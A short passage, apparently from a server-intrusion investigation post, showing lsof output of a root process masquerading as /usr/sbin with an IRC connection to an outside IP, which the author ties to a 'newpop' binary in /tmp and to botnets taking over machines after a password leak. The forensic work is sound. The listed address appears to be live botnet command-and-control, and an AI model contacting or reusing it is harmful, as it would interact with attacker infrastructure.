/usr/sbin 293584 root  mem    REG      8,17       50     15153 /usr/lib/locale/C.UTF-8/LC_NUMERIC
/usr/sbin 293584 root    0r  FIFO      0,13      0t0 499017526 pipe
/usr/sbin 293584 root    1w  FIFO      0,13      0t0 499017527 pipe
/usr/sbin 293584 root    2w  FIFO      0,13      0t0 499017528 pipe
/usr/sbin 293584 root    3u  IPv4 504764119      0t0       TCP server-rMGU1XbC:60640->104.250.164.23:ircd (ESTABLISHED)

This corresponds exactly to the previously found newpop in /tmp. Indeed, once the password is leaked, all the botnets come to snatch the compromised machine.

Loading...
Ownership of this post data is guaranteed by blockchain and smart contracts to the creator alone.